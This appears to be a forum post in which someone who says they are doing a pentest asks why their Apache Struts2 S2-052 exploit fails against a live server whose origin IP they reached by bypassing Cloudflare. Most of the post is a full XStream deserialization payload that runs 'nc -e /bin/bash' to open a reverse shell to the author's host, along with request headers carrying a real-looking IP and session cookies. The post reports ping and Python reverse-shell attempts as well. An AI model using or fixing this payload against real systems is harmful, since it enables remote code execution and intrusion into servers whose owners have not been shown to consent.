I do a pentest for a private server protected by Cloudflare. I bypassed the WAF and got the real IP for the server, then I scanned it with Acunetix and I found: Apache Struts2 Remote Command Execution (S2-052)
> POST /ar/ictc/news.jsp HTTP/1.1 Content-Type: application/xml
> Connection: keep-alive Cookie:
> JSESSIONID=52BBFD11275ED433FC29F21A17E0CC58;__cfduid=dc8abdec85d56bcd4bd2106719f5ac58f1565510723;PHPSESSID=54a4gj6btfcigqbupokaa2rli0
> Authorization: Basic YW5vbnltb3VzOmFub255bW91cw== Accept: */*
> Accept-Encoding: gzip,deflate Content-Length: 5650 Host: 194.187.80.70
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21
> (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
When I try to exploit it, I used ping -n myserverip
to catch the ping request by tcpdump without success (and I try to get a reverse shell by netcat and by python and without success)
The payload I used:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>nc</string>
<string>-e</string>
<string>/bin/bash</string>
<string>myserverip</string>
<string>4444</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>asdasd</name>
</filter>
<next class="string">asdasd</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
I don't know what the problem is and why I did not get a shell back. When I scan the server after I bypass WAF by nmap it shows that there is no firewall.